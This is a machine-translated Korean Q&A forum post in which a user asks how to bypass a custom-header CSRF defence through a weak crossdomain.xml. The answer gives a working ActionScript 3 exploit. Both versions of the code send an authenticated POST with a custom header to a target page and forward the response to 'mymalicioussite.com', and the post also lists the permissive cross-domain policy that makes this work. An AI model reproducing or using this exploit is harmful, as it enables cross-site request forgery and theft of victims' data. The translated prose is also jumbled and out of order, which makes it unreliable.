2017-03-26 3 views
0

약한 CrossDomain.xml을 가지고 있지만 사용자 지정 HTTP 헤더 중 하나를보고 CSRF 공격을 차단하는 대상이 있습니다. 나는 머리글을 설정하지 않는다는 점을 제외하면 완벽하게 작동하는 두 개의 웹 사이트에서 다음과 같은 actionscript를 발견했습니다.약한 CrossDomain.xml을 통해 ActionScript를 사용하여 CSRF를 우회합니다.

<?xml version="1.0"?> 

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> 
<cross-domain-policy> 
    <allow-access-from domain="*" secure="true" /> 
</cross-domain-policy> 
: 대상에

package { 
    import flash.display.Sprite; 
    import flash.events.*; 
    import flash.net.URLRequestMethod; 
    import flash.net.URLRequest; 
    import flash.net.URLLoader; 
    import flash.net.URLVariables; 
    import flash.net.URLRequestHeader; 

    public class FlashTest extends Sprite { 

     public function FlashTest() { 
      // write as3 code here.. 
      //Target URL   
      var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123"); 
      var readFrom:String = "http://192.168.100.4/Target.htm"; 
      var readRequest:URLRequest = new URLRequest(readFrom); 
      readRequest.data = "ThisDoesNotMatter" 
      readRequest.method = URLRequestMethod.POST 
      readRequest.requestHeaders.push(header); 
      var getLoader:URLLoader = new URLLoader(); 
      getLoader.addEventListener(Event.COMPLETE, eventHandler); 
      try 
      { 
       getLoader.load(readRequest); 
      } 
      catch(error:Error) 
      { 

      } 
     } 

     private function eventHandler(event:Event):void 
     { 
      var sendTO:String = "http://mymalicioussite.com"; 
      var sendRequest:URLRequest = new URLRequest(sendTO); 
      sendRequest.method = URLRequestMethod.POST; 
      sendRequest.data = event.target.data; 
      var sendLoader:URLLoader = new URLLoader(); 
      try 
      { 
       sendLoader.load(sendRequest); 
      } 
      catch(error:Error) 
      { 

      } 
      } 
     } 
     } 

의 crossdomain.xml :

이 ActionScript는 'Target.htm'에 POST 요청을 보내고 나는 그것이 사용자 정의 헤더를 설정해야합니다, 테스트 - 헤더 말

도움을 주시면 감사하겠습니다. POST 대신 GET 요청을 사용하는 작업 코드는 대상이 GET 및 POST 요청을 모두 허용하므로 작동합니다. 지금까지 내가 아는 한, 맞춤 헤더 설정은 POST 요청에서만 허용되지만 표준 HTTP 헤더가있는 GET 요청은 적어도 지금은 저에게 적합합니다. 또한

가,이 경우에만 작동합니다

답변

0

은 몇 가지 검사를 수행 한 후, 나는 (브라우저에서 허용하지 않는 리퍼러 및 사용자 에이전트 헤더를 제외하고) 사용자 정의 헤더를 설정하기 위해 위에서 언급 한 스크립트를 수정 할 수 있었다 대상 및 공격 시스템이 다음에 crossdomain.xml이 있어야합니다

<?xml version="1.0"?> 

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross- 
domain-policy.dtd"> 
<cross-domain-policy> 
<allow-access-from domain="*" secure="false" /> 
<allow-http-request-headers-from domain="*" headers="*" secure="false"/> 
</cross-domain-policy> 

을 그리고 여기에 나를 위해 일한 AS3 스크립트입니다 :

package { 
import flash.display.Sprite; 
import flash.events.*; 
import flash.net.URLRequestMethod; 
import flash.net.URLRequest; 
import flash.net.URLLoader; 
import flash.net.URLVariables; 
import flash.net.URLRequestHeader; 

public class FlashTest extends Sprite { 

    public function FlashTest() { 
     // write as3 code here.. 

     //Set Header 
     var headers:Array = [new URLRequestHeader("TestHeader", "Test123")]; 

     //Target URL   
     var readFrom:String = "http://192.168.253.133/Target.htm"; 
     var readRequest:URLRequest = new URLRequest(readFrom); 
     readRequest.requestHeaders = headers; 
     readRequest.data = "ThisDoesNotMatter" //POST data 
     readRequest.method = URLRequestMethod.POST 
     //readRequest.requestHeaders.push(); 
     var getLoader:URLLoader = new URLLoader(); 
     getLoader.addEventListener(Event.COMPLETE, eventHandler); 
     try 
     { 
      getLoader.load(readRequest); 
     } 
     catch(error:Error) 
     { 

     } 
    } 

    private function eventHandler(event:Event):void 
    { 
     var sendTO:String = "http://mymalicioussite.com"; 
     var sendRequest:URLRequest = new URLRequest(sendTO); 
     sendRequest.method = URLRequestMethod.POST; 
     sendRequest.data = event.target.data; 
     var sendLoader:URLLoader = new URLLoader(); 
     try 
     { 
      sendLoader.load(sendRequest); 
     } 
     catch(error:Error) 
     { 

     } 
     } 
    } 
}//package 
관련 문제